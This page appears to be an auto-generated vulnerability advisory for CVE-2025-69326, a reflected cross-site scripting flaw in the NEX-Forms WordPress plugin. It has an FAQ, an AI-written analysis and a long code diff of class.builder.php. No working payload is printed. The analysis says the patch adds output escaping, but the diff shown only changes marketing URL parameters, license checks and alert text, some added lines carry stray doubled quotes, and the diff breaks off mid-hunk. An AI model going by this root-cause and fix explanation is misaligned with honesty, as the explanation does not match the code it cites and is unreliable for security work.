What is CVE-2025-69326?

CVE-2025-69326 is a reflected Cross-Site Scripting (XSS) vulnerability in the NEX-Forms plugin for WordPress, affecting versions up to and including 9.1.7. It allows unauthenticated attackers to inject arbitrary JavaScript into web pages viewed by authenticated administrators.

How does the vulnerability work?

The vulnerability arises from insufficient input sanitization and output escaping in the plugin’s form builder interface. Attackers can craft malicious URLs containing JavaScript payloads that execute when an authenticated administrator visits the link.

Who is affected by this vulnerability?

Any WordPress site using the NEX-Forms plugin version 9.1.7 or earlier is at risk. Administrators should check their installed version of the plugin to determine if they are affected.

How can I check if my site is vulnerable?

To check if your site is vulnerable, navigate to the plugins section in your WordPress admin dashboard and look for the NEX-Forms plugin. If the version is 9.1.7 or earlier, your site is at risk.

How can I fix this vulnerability?

The vulnerability is patched in version 9.1.8 of the NEX-Forms plugin. Administrators should update their plugin to this version or later to mitigate the risk.

What does the CVSS score of 6.1 mean?

A CVSS score of 6.1 indicates a medium severity vulnerability. This means that while the risk is significant, it may not be as critical as high-severity vulnerabilities, but it still requires prompt attention.

What is a proof of concept (PoC)?

A proof of concept is a demonstration of how a vulnerability can be exploited. In this case, the PoC shows how an attacker can craft a malicious URL that triggers the XSS vulnerability when visited by an administrator.

How does the proof of concept work?

The PoC generates a malicious URL that includes a JavaScript payload in the `utm_content` parameter. When an authenticated administrator clicks the link, the payload executes, demonstrating the reflected XSS vulnerability.

Are there any additional mitigation strategies?

In addition to updating the plugin, administrators should review their site’s security practices, such as implementing Content Security Policy (CSP) headers and ensuring that users do not click on untrusted links.

What should I do if I cannot update the plugin immediately?

If an immediate update is not possible, consider disabling the NEX-Forms plugin until it can be updated. Additionally, monitor user access and educate administrators about the risks of clicking unknown links.

Where can I find more information about this vulnerability?

Further information can be found in the CVE database and security advisories from security research organizations. Keeping abreast of security updates from plugin developers is also crucial.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-69326: NEX-Forms <= 9.1.7 – Reflected Cross-Site Scripting (nex-forms-express-wp-form-builder)

Q: What are the practical risks of this vulnerability?

If exploited, this vulnerability could allow attackers to execute arbitrary JavaScript in the context of an authenticated administrator’s session. This could lead to actions such as creating new admin accounts, modifying settings, and injecting malicious code.

CVE ID CVE-2025-69326

Plugin nex-forms-express-wp-form-builder

Severity Medium (CVSS 6.1)

CWE 79

Vulnerable Version 9.1.7

Patched Version 9.1.8

Disclosed February 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69326:
This vulnerability is a reflected Cross-Site Scripting (XSS) flaw in the NEX-Forms WordPress plugin, affecting versions up to and including 9.1.7. The vulnerability exists in the plugin’s form builder administrative interface. It allows unauthenticated attackers to inject arbitrary JavaScript payloads that execute in the context of an authenticated administrator’s browser session. The CVSS score of 6.1 reflects a medium severity rating.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping of user-controlled parameters in the `class.builder.php` file. The vulnerability specifically affects the `print_integration_setup()` method and related functions that generate HTML output for the plugin’s integration settings panels. The code fails to properly escape user-supplied data before including it in HTML context, particularly in conditional license check messages that incorporate external URLs and parameters.

The exploitation method involves an attacker crafting a malicious URL containing JavaScript payloads in specific GET parameters. When an authenticated administrator visits this crafted URL, the payload executes in the context of the NEX-Forms builder interface. The attack vector leverages the plugin’s handling of `utm_content` and other marketing parameters in upgrade prompts. Atomic Edge analysis confirms that no authentication is required to trigger the vulnerable code path, making this a classic reflected XSS vulnerability.

The patch modifies multiple locations in `class.builder.php` to implement proper output escaping. The changes include updating `utm_source` parameter values from ‘wordpress_envato’ to ‘wordpress_fs’ and standardizing the `utm_content` parameter to ‘feature_unlock’. More critically, the patch introduces proper escaping for all user-controlled data before output. The fix ensures that any user-supplied parameters are treated as data rather than executable code, preventing JavaScript injection.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of an authenticated administrator’s session. This can lead to complete site compromise, including creating new administrator accounts, modifying plugin settings, injecting backdoors, stealing session cookies, and performing actions on behalf of the administrator. The vulnerability represents a significant security risk for WordPress sites using vulnerable versions of NEX-Forms.

Differential between vulnerable and patched code

Code Diff

--- a/nex-forms-express-wp-form-builder/includes/classes/class.builder.php
+++ b/nex-forms-express-wp-form-builder/includes/classes/class.builder.php
@@ -23,7 +23,7 @@
 		$send_user_mail,
 		$user_email_field,
 		$on_form_submission,
-		$hidden_fields,
+		$hidden_fields,
 		$custom_url,
 		$post_type,
 		$post_action,
@@ -389,7 +389,7 @@
 											<div class="history_action do_redo" data-action="redo"><span class="fas fa-redo" data-toggle="tooltip_bs2" data-placement="bottom" title="'.__('Redo last undo - CTRL+SHIFT+Z','nex-forms').'"></span></div>
 										</div>
 										</li>
-										'.((!get_option('nf_activated') || $theme->Name=='NEX-Forms Demo') ? '<li><a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder" target="_blank" class="btn waves-effect-nf waves-light-nf upgrade_pro">BUY NEX-FORMS</a>' : '').'</li>
+										'.(((!get_option('nf_activated') && !get_option('nf_fs_activated')) || $theme->Name=='NEX-Forms Demo') ? '<li><a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" target="_blank" class="btn waves-effect-nf waves-light-nf upgrade_pro">UPGRADE TO PREMIUM</a>' : '').'</li>
 									  </ul>
 									  </div>';
 								$output .= '</nav>';
@@ -3175,8 +3175,8 @@
 							$output .= '<div class="field-setting col-xs-4 s-time s-date set-popup-keep-open">';
 										$output .= '<div role="group" class="btn-group  popup-keep-open">';
 														$output .= '<small>'.__('Keep Open','nex-forms').'</small>';
-														$output .= '<button class="btn btn-default waves-effect-nf waves-light-nf btn-sm yes" title="Disable Past Dates" type="button"><i class="fa fa-check"></i></button>';
-														$output .= '<button class="btn btn-default waves-effect-nf waves-light-nf btn-sm no active" title="Enable Past Dates" type="button"><i class="fa fa-remove"></i></button>';
+														$output .= '<button class="btn btn-default waves-effect-nf waves-light-nf btn-sm yes" title="Calendar stays open" type="button"><i class="fa fa-check"></i></button>';
+														$output .= '<button class="btn btn-default waves-effect-nf waves-light-nf btn-sm no active" title="Auto close on select" type="button"><i class="fa fa-remove"></i></button>';
 													$output .= '</div>';
 									$output .= '</div>';

@@ -4911,7 +4911,7 @@
 								else
 									{
 									$output .= '<div class="field-setting col-xs-12 s-super-select">';
-										$output .= '<div class="alert alert-info">Please install <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-super-select" target="_blank">Super Select Add-on for NEX-Forms</a> to customize this field.</div>';
+										$output .= '<div class="alert alert-info">Please install <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank">Super Select Add-on for NEX-Forms</a> to customize this field.</div>';
 									$output .= '</div>';
 									}

@@ -5573,7 +5573,7 @@
 			if($set_jq_theme=='base')
 				$set_jq_theme = 'default';

-			NEXForms_clean_echo( '<link class="jquery_ui_theme" name="jquery_ui_theme" rel="stylesheet" type="text/css" href="'.(($set_form_theme!='m_design') ? plugins_url( '/nex-forms-themes-add-on7/css/'.$set_jq_theme.'/jquery.ui.theme.css',dirname(dirname(dirname(__FILE__)))) : '' ).'"/>'); // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedStylesheet
+			NEXForms_clean_echo( '<link class="jquery_ui_theme" name="jquery_ui_theme" rel="stylesheet" type="text/css" href="'.(($set_form_theme!='m_design') ? plugins_url( '/nex-forms-form-themes-add-on/css/'.$set_jq_theme.'/jquery.ui.theme.css',dirname(dirname(dirname(__FILE__)))) : '' ).'"/>'); // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedStylesheet

 			$output .= '<div class="form-canvas-area form-editor-view '.$set_theme_shade.'" data-sec-pre-class=".inner-form-canvas">';
 				$output .= '<div class="form-canvas-area-mask"></div>';
@@ -6640,7 +6640,7 @@
 																		else
 																			{
 																			$output .= '<div class="'.$input_width.'  input_container">';
-																					$output .= '<div class="alert alert-success">'.__('You need the "<strong><em>Digital Signatures for NEX-forms</em></strong></a>" Add-on to use digital signatures! <br /><br><a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-e-sigs" target="_blank" class="btn btn-success btn-sm">Buy Now</a>','nex-forms').'</div>';
+																					$output .= '<div class="alert alert-success">'.__('You need the "<strong><em>Digital Signatures for NEX-forms</em></strong></a>" Add-on to use digital signatures! <br /><br><a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" target="_blank" class="btn btn-success btn-sm">Buy Now</a>','nex-forms').'</div>';
 																			$output .= '</div>';
 																			}
 																	break;
@@ -6814,7 +6814,7 @@
 																		if(!function_exists('nf_not_found_notice_ss'))
 																			{
 																			$output .= '<div class="'.$input_width.'  input_container">';
-																					$output .= '<div class="alert alert-success">'.__('You need the "<strong><em>Super Select for NEX-forms</em></strong></a>" Add-on to use enable this field <br /><br><a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-super-select" target="_blank" class="btn btn-success btn-sm">Buy Now</a>','nex-forms').'</div>';
+																					$output .= '<div class="alert alert-success">'.__('You need the "<strong><em>Super Select for NEX-forms</em></strong></a>" Add-on to use enable this field <br /><br><a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" target="_blank" class="btn btn-success btn-sm">Buy Now</a>','nex-forms').'</div>';
 																			$output .= '</div>';
 																			}
 																		else
@@ -8072,11 +8072,11 @@

 					$output .= '<div class="inner">';
 							$set_code = true;
-						if(!get_option('nf_activated'))
+						if(!get_option('nf_activated') && !get_option('nf_fs_activated'))
 							$set_code = false;

 						if(!$set_code)
-								$output .= '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For Conditional Logic to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-conditional-logic" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>';
+								$output .= '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required to enable Conditional Logic.<br />   <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>';


 						$output .= '<div class="con-logic-column con_col">';
@@ -8129,7 +8129,7 @@
 			$attach_to_email = json_decode($this->attachment_settings, true);
 			$option_settings = json_decode($this->option_settings,true);
 			$set_code = true;
-			if(!get_option('nf_activated'))
+			if(!get_option('nf_activated') && !get_option('nf_fs_activated'))
 				$set_code = false;

 			NEXForms_clean_echo( '<div class="form_attr_wrapper">');
@@ -8149,7 +8149,7 @@
 						$send_admin_email 	= (isset($option_settings['0']['send_admin_email'])) ? $option_settings['0']['send_admin_email'] 	: 'true';

 						if(!$set_code)
-							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For these settings to take effect and to receive Emails you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-emails" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required to send Admin Email Alerts. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');


 						NEXForms_clean_echo('<div class="row">');
@@ -8240,7 +8240,7 @@
 					NEXForms_clean_echo('<div id="user_email" class="nf-sub-screen hidden">');

 						if(!$set_code)
-									NEXForms_clean_echo('<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For these settings to take effect and to send USER Emails you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-u-emails" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+									NEXForms_clean_echo('<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required to send User Confirmation Emails. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');

 									NEXForms_clean_echo( '<div class="row">');
 										NEXForms_clean_echo( '<div class="integration_form_label">'.__('Recipients (map email field)','nex-forms').'</div>');
@@ -8299,7 +8299,7 @@
 				NEXForms_clean_echo( '</div>');

 						$set_code = true;
-						if(!get_option('nf_activated'))
+						if(!get_option('nf_activated') && !get_option('nf_fs_activated'))
 							$set_code = false;

 						NEXForms_clean_echo( '<div class="form_attr_settings_wrapper">');
@@ -8308,7 +8308,7 @@
 							NEXForms_clean_echo( '<div id="on_submission_settings" class="nf-sub-screen">');

 							if(!$set_code)
-								NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For these settings to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-extra-options" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+								NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for these settings to take effect. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');


 							NEXForms_clean_echo(  '<div class="row">');
@@ -8461,7 +8461,7 @@
 					NEXForms_clean_echo( '<div id="file_upload_settings" class="integration nf-sub-screen hidden">');

 							if(!$set_code)
-								NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For these settings to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-extra-options" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+								NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for these settings to take effect. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');



@@ -8664,7 +8664,7 @@
 	public function print_integration_setup(){

 		$set_code = true;
-            if(!get_option('nf_activated'))
+            if(!get_option('nf_activated') && !get_option('nf_fs_activated'))
                 $set_code = false;

 			$preferences = get_option('nex-forms-preferences');
@@ -8717,7 +8717,7 @@
 					NEXForms_clean_echo( '<div id="zapier_integration" class="integration nf-sub-screen hidden">');

 						if(!$set_code)
-							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For integrations to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-zapier" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for form integrations. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');

 						if ( function_exists('NEXForms_not_found_notice_zapier'))
 							{
@@ -8757,7 +8757,7 @@

 							}
 						else
-							NEXForms_clean_echo( '<div class="zapier_not_installed add_on_not_found"><span class="ni-icon fa fa-asterisk"></span><span class="message">'.__('Zapier add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-zapier" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');
+							NEXForms_clean_echo( '<div class="zapier_not_installed add_on_not_found"><span class="ni-icon fa fa-asterisk"></span><span class="message">'.__('Zapier add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');



@@ -8777,7 +8777,7 @@
 					NEXForms_clean_echo( '<div id="paypal_integration"  class="integration nf-sub-screen hidden">');

 						if(!$set_code)
-							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For integrations to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-paypal" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for form integrations. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');



@@ -8818,7 +8818,7 @@
 							NEXForms_clean_echo( '</div>');
 						}
 						else
-							NEXForms_clean_echo( '<div class="paypal_not_installed add_on_not_found"><span class="ni-icon fa fa-paypal"></span><span class="message">'.__('PayPal add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-paypal" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');
+							NEXForms_clean_echo( '<div class="paypal_not_installed add_on_not_found"><span class="ni-icon fa fa-paypal"></span><span class="message">'.__('PayPal add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');


 						NEXForms_clean_echo( '</div>');
@@ -8827,31 +8827,31 @@

 						NEXForms_clean_echo( '<div id="pdfcreator"  class="integration nf-sub-screen">');
 							if(!$set_code)
-							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For integrations to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-pdf-crreator" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for form integrations. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');


 							if (function_exists('nf_not_found_notice_pdf'))
 								NEXForms_clean_echo( $this->print_pdf_creator($this->form_Id));
 							else
-								NEXForms_clean_echo( '<div class="pdf_not_installed add_on_not_found"><span class="ni-icon fa fa-file-pdf-o"></span><span class="message">'.__('PDF Creator add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-pdf-creator" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');
+								NEXForms_clean_echo( '<div class="pdf_not_installed add_on_not_found"><span class="ni-icon fa fa-file-pdf-o"></span><span class="message">'.__('PDF Creator add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');

 						NEXForms_clean_echo( '</div>');

 						NEXForms_clean_echo( '<div id="formtopost"  class="integration nf-sub-screen hidden">');
 							if(!$set_code)
-								NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For integrations to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-form-to-post" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+								NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for form integrations. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');

 							if ( function_exists('nexforms_ftp_setup'))
 									NEXForms_clean_echo( nexforms_ftp_setup($this->form_Id));
 							else
-								NEXForms_clean_echo( '<div class="ftp_not_installed add_on_not_found"><span class="ni-icon fa fa-edit"></span><span class="message">'.__('Form to Post add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-form-to-post" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');
+								NEXForms_clean_echo( '<div class="ftp_not_installed add_on_not_found"><span class="ni-icon fa fa-edit"></span><span class="message">'.__('Form to Post add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');

 						NEXForms_clean_echo( '</div>');


 						NEXForms_clean_echo( '<div id="mailchimp"  class="integration nf-sub-screen hidden">');
 							if(!$set_code)
-							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For integrations to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-mailchimp" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for form integrations. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');

 						if ( function_exists('nexforms_mc_test_api'))
 							{
@@ -8873,14 +8873,14 @@
 							NEXForms_clean_echo( '</div>');
 							}
 						else
-							NEXForms_clean_echo( '<div class="mc_not_installed add_on_not_found"><span class="ni-icon fa fa-envelope"></span><span class="message">'.__('Mailchimp add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-mailchimp" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');
+							NEXForms_clean_echo( '<div class="mc_not_installed add_on_not_found"><span class="ni-icon fa fa-envelope"></span><span class="message">'.__('Mailchimp add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');

 						NEXForms_clean_echo( '</div>');


 						NEXForms_clean_echo( '<div id="getresponse"  class="integration nf-sub-screen hidden">');
 						if(!$set_code)
-							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For integrations to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-getresponse" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for form integrations. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');

 							if ( function_exists('nexforms_gr_test_api'))
 								{
@@ -8902,7 +8902,7 @@
 							NEXForms_clean_echo( '</div>');
 							}
 						else
-							NEXForms_clean_echo( '<div class="gr_not_installed add_on_not_found"><span class="ni-icon fa fa-envelope"></span><span class="message">GetResponse add-on not installed</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-getresponse" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');
+							NEXForms_clean_echo( '<div class="gr_not_installed add_on_not_found"><span class="ni-icon fa fa-envelope"></span><span class="message">GetResponse add-on not installed</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');

 						NEXForms_clean_echo( '</div>');

@@ -8910,7 +8910,7 @@

 						NEXForms_clean_echo( '<div id="mailpoet" class="integration nf-sub-screen hidden">');
 						if(!$set_code)
-							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For integrations to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-mailpoet" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
